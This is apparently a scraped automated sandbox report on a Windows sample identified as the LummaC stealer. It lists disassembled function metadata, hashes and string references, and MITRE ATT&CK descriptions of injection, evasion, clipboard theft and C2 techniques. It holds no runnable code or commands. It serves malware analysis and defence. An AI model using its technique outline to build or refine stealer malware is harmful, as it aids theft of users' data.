Opcode Fuzzy Hash: b2b423ebadf1592669d7d863c5a3ee5f5f2eab39b8738c23b7edf78d6bbbe3fc
Instruction Fuzzy Hash: 6E4114722183650FD30CDF39889037ABBD2AB89310F098A3EE5E6C73A1E678C945D715

Function 00404C10 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08c903a2774bc6df5269ec9394e4d2b4249a1b345d6e6f96374d041045904a8a
Instruction ID: c79a31c9f9310a5d27d3133cd9e14fd18c2759f751e933cf278d23621f9b5f89
Opcode Fuzzy Hash: 08c903a2774bc6df5269ec9394e4d2b4249a1b345d6e6f96374d041045904a8a
Instruction Fuzzy Hash: 7A31CBB060D2009BE7149F59D884927B7E1EFC5318F15893EE99AA7391D339DC42C74A

Function 0043B510 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: b05e4e55af9010276dd824703dcfe013dc4d2d587545692900b47515503f7f9a
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 7C110633A051D40EC3128D3C8440665BFE34A9B339F1D939AE4B89B2D2D7268D8A8399

Function 004381AA Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f9c2bea97cd4b5019ae85a024de50666d4b8a38e840c2ed61b965e1ee9b65ad
Instruction ID: 9af3802c06223be0731618dc7dbb9ccf8b70dac9e7fe2982a45eb8f2898826f2
Opcode Fuzzy Hash: 4f9c2bea97cd4b5019ae85a024de50666d4b8a38e840c2ed61b965e1ee9b65ad
Instruction Fuzzy Hash: BA21E9F0900B40AFD360EF3AC94674BBEF8EB45350F104A1EF8AA87690D371A4058BD6

Function 00430BD0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 280971b818c92cda73003084fe35fa709fc308098d1831b144d262705e9ce05f
Instruction ID: b670d169a067c456f2208e1d1a858f62b16ae88675da2f6f7e379deb6076660f
Opcode Fuzzy Hash: 280971b818c92cda73003084fe35fa709fc308098d1831b144d262705e9ce05f
Instruction Fuzzy Hash: F70192B570030187E7249E5194E0B3BF2A9AB88718F18273ED40657341DB7DEC05C699

Function 00445D80 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0f5b615599201c8fcbc61bbc80d2da29338f02ce58a985c5e93859dfe3cbdcf
Instruction ID: 127a2d2f99be075313f8e7c8ce123115a8f99d52567ae3d6d9a7df168031d728
Opcode Fuzzy Hash: a0f5b615599201c8fcbc61bbc80d2da29338f02ce58a985c5e93859dfe3cbdcf
Instruction Fuzzy Hash: C71149B0918380AFE704DFA4D54491FFBE4AB82708F50982DF4D487342D739D909CB5A

Function 00407120 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bca8451c7a21ffdc08514427d5aae7525460325ea45c90652cec291e1702db1
Instruction ID: 428b66cca32f92671de047a37f04ba4cdfb14e9a1c088c886c69018fb4604205
Opcode Fuzzy Hash: 2bca8451c7a21ffdc08514427d5aae7525460325ea45c90652cec291e1702db1
Instruction Fuzzy Hash: 14F02B36B582160BD718CE55ECE0D77B366D7CA255B09003EDA42E73C1C974F806D269

Function 0041A880 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a262c98f02bee36f9e7b41f4a9b905533450b75733afa39f2542f44ca0caaf6
Instruction ID: 84a41c4c3f528dc72163e8ca054b40d510caf23feb84efc27826b8445e6de5a1
Opcode Fuzzy Hash: 7a262c98f02bee36f9e7b41f4a9b905533450b75733afa39f2542f44ca0caaf6
Instruction Fuzzy Hash: 0CF0ECB1B0411067DB22B9559CC0FF7BB9CCB87364F190416E84957282E2755CD6C7EB

Function 00442280 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction ID: ca0a47249e4e9b4ad93b56322b99e3a16fb2ee89d7d4b9e5124314e38bcc9f3b
Opcode Fuzzy Hash: a4b5204e339133bf84330416a5308528dd9e98d6cb7a6fcb91640552a86da4e7
Instruction Fuzzy Hash: 57D05E2160862146BB688E19A500977F7E0FAC7B11B89959FF582E3248D274DC41C2AD

Function 004371AB Relevance: 29.8, APIs: 2, Strings: 15, Instructions: 89COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 004371C3
VariantInit.OLEAUT32 ref: 004371CF

Strings

4, xrefs: 00437217
9, xrefs: 004371EF
#, xrefs: 00437207
(, xrefs: 0043724F
?, xrefs: 00437237
e, xrefs: 00437263
2, xrefs: 004371F7
7, xrefs: 00437257
0, xrefs: 004371FF
8, xrefs: 0043720F
!, xrefs: 0043722F
H, xrefs: 0043723F
?, xrefs: 00437227
-, xrefs: 00437247
V, xrefs: 0043721F

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$#$($-$0$2$4$7$8$9$?$?$H$V$e
API String ID: 2610073882-164105402
Opcode ID: 7ea49bbc964831e1d19dd7b4cdbf91261241450e64375c5e647d5cd4bb619ec2
Instruction ID: e486607e4b5c263a131017f9b849749757e5c2ed8deb2f4ba38f941ca55cc11a
Opcode Fuzzy Hash: 7ea49bbc964831e1d19dd7b4cdbf91261241450e64375c5e647d5cd4bb619ec2
Instruction Fuzzy Hash: CC41F9600087C18ED726CF2984C8606BFA16F16224F488ADDD8E54F7DBC775D519C7A6

Function 00435993 Relevance: 29.8, APIs: 2, Strings: 15, Instructions: 81COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0043599D
VariantInit.OLEAUT32 ref: 004359A9

Strings

-, xrefs: 00435A21
?, xrefs: 00435A01
(, xrefs: 00435A29
H, xrefs: 00435A19
2, xrefs: 004359D1
V, xrefs: 004359F9
0, xrefs: 004359D9
!, xrefs: 00435A09
?, xrefs: 00435A11
7, xrefs: 00435A31
9, xrefs: 004359C9
4, xrefs: 004359F1
e, xrefs: 00435A3D
#, xrefs: 004359E1
8, xrefs: 004359E9

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: !$#$($-$0$2$4$7$8$9$?$?$H$V$e
API String ID: 2610073882-164105402
Opcode ID: 1f1cf35395537e64b000c6efbc98a63c107d8345a00cbe81b9758d42e2734ac3
Instruction ID: cdf3b5065cd44c78a25137ca5eabd9af70e9919f95baf298e5e50d8634074577
Opcode Fuzzy Hash: 1f1cf35395537e64b000c6efbc98a63c107d8345a00cbe81b9758d42e2734ac3
Instruction Fuzzy Hash: 1C41E7600087C1CED726DF2C8488606BFA06F26224F488ADDD8E54F7DBC375E519CBA6

Function 00436BEE Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 83COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00436BF4
VariantInit.OLEAUT32 ref: 00436C03

Strings

s, xrefs: 00436C2F
q, xrefs: 00436C27
}, xrefs: 00436C57
2, xrefs: 00436C43
{, xrefs: 00436C4F
e, xrefs: 00436C77
i, xrefs: 00436C87
f, xrefs: 00436C83
y, xrefs: 00436C47
g, xrefs: 00436C7F
c, xrefs: 00436C6F
w, xrefs: 00436C3F
u, xrefs: 00436C37
a, xrefs: 00436C67

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: 2$a$c$e$f$g$i$q$s$u$w$y${$}
API String ID: 2610073882-100263010
Opcode ID: 7a16bc65f0334d1c2e074e8fe1d00586703c7d9acbe3629dff512b6bf4ce12e7
Instruction ID: 27a84024d9b4b92c8d6edf8d148b05a3a7dd72626f3d5901dcadd4859abb0c79
Opcode Fuzzy Hash: 7a16bc65f0334d1c2e074e8fe1d00586703c7d9acbe3629dff512b6bf4ce12e7
Instruction Fuzzy Hash: AD410320408B818ED715DF28C488616BFE1AB16314F088A9DD8EA4F797C379E519CBA2

Function 00437333 Relevance: 28.1, APIs: 2, Strings: 14, Instructions: 77COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(04EC839E), ref: 0043733D
VariantInit.OLEAUT32 ref: 0043734C

Strings

c, xrefs: 004373B8
e, xrefs: 004373C0
a, xrefs: 004373B0
w, xrefs: 00437388
s, xrefs: 00437378
u, xrefs: 00437380
}, xrefs: 004373A0
g, xrefs: 004373C8
{, xrefs: 00437398
i, xrefs: 004373D0
f, xrefs: 004373CC
q, xrefs: 00437370
2, xrefs: 0043738C
y, xrefs: 00437390

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Variant$ClearInit
String ID: 2$a$c$e$f$g$i$q$s$u$w$y${$}
API String ID: 2610073882-100263010
Opcode ID: 8ebd9f4ed5494e62f42b018d346a7ac36c6e36cd5ee66e56a8b11b3574fb4437
Instruction ID: 1c9f208004a732e118f2501c515b945d844519df74fdbedcee51dd58d27ec161
Opcode Fuzzy Hash: 8ebd9f4ed5494e62f42b018d346a7ac36c6e36cd5ee66e56a8b11b3574fb4437
Instruction Fuzzy Hash: DA41D630508B818ED715DF28C584716BFE1AB16314F088A9DD8EA4F797C379E519CBA2

Function 00428680 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 391COMMON

Download Yara Rule

Strings

dE;G, xrefs: 00428965
L!_#, xrefs: 004289D4, 004289DD
D^, xrefs: 00428B4B
I\, xrefs: 00428B53
8U!W, xrefs: 00428945
AK, xrefs: 00428B3B

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 8U!W$AK$D^$I\$L!_#$dE;G
API String ID: 0-1822214113
Opcode ID: 0c4b37c98de53600dfd4ef16a9103f5cfec24dc3029a504c7249ea61c68bbd43
Instruction ID: e8dc5652ff6eac58c8cff6491874245c63b14013ac8cf1601e891aa925ef3829
Opcode Fuzzy Hash: 0c4b37c98de53600dfd4ef16a9103f5cfec24dc3029a504c7249ea61c68bbd43
Instruction Fuzzy Hash: ADE153B4209340ABD310DF55EA80A1FBBF0EB86B44F50492EF4C59B252D778D905CBAB

Function 004361D5 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 165memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00436253

Strings

/, xrefs: 004361FE
3, xrefs: 004361EE
-, xrefs: 004361F6
., xrefs: 004361FA
0, xrefs: 00436414
1, xrefs: 004361E6

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AllocString
String ID: -$.$/$0$1$3
API String ID: 2525500382-387867814
Opcode ID: 7940db7b379f922317e7e15a24e26e61411b35062eb14db6cbc1a2197edd3dd7
Instruction ID: 660070051efc564603ea8c5fbdd00a6cbbb9cf6a35b09dbfd3aeab06d863ec1c
Opcode Fuzzy Hash: 7940db7b379f922317e7e15a24e26e61411b35062eb14db6cbc1a2197edd3dd7
Instruction Fuzzy Hash: E3919260508BC38AC3268B3C8888605FFA16B67234B4887DDE5F54F7E3D364D586C7A6

Function 0042D32D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 76fileCOMMON

Download Yara Rule

APIs

CopyFileW.KERNEL32(00000000,?,00000000), ref: 0042D3FA

Strings

PQ, xrefs: 0042D3A5
Pt"m, xrefs: 0042D3FA

Memory Dump Source

Source File: 00000003.00000002.2239338010.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CopyFile
String ID: PQ$Pt"m
API String ID: 1304948518-1097789620
Opcode ID: f03de7448bdfe319ee16f1179e73b3ecdf48463b6fada11a4135d79cba536ff8
Instruction ID: 087f67f87b232edd0faaff2b62f1293afc868e0b8f76a9560ff328a71f7fabe8
Opcode Fuzzy Hash: f03de7448bdfe319ee16f1179e73b3ecdf48463b6fada11a4135d79cba536ff8
Instruction Fuzzy Hash: 902136B4518384ABE320AF64E841B1FBBF4BB46745F40192CF2C49A261E7B58651CF5B

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3ZD5tEC5DH.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3ZD5tEC5DH.exe.log

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
3ZD5tEC5DH.exe

Function 026A2151 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Function 00C01330 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Function 00C01268 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Function 00C01270 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Function 00410480 Relevance: 25.4, Strings: 20, Instructions: 435
COMMON

Function 0040FEBC Relevance: 13.2, Strings: 10, Instructions: 710
COMMON

Function 0040D2C0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 159
threadCOMMON

Function 00447600 Relevance: 6.9, Strings: 5, Instructions: 614
COMMON

Function 0040EFFC Relevance: 6.8, Strings: 5, Instructions: 550
COMMON

Function 00447560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14
libraryCOMMON

Function 0044A7E0 Relevance: 2.6, Strings: 2, Instructions: 142
COMMON

Function 0040ED90 Relevance: 1.6, APIs: 1, Instructions: 87
libraryCOMMON

Function 00444282 Relevance: 1.6, APIs: 1, Instructions: 51
memoryCOMMON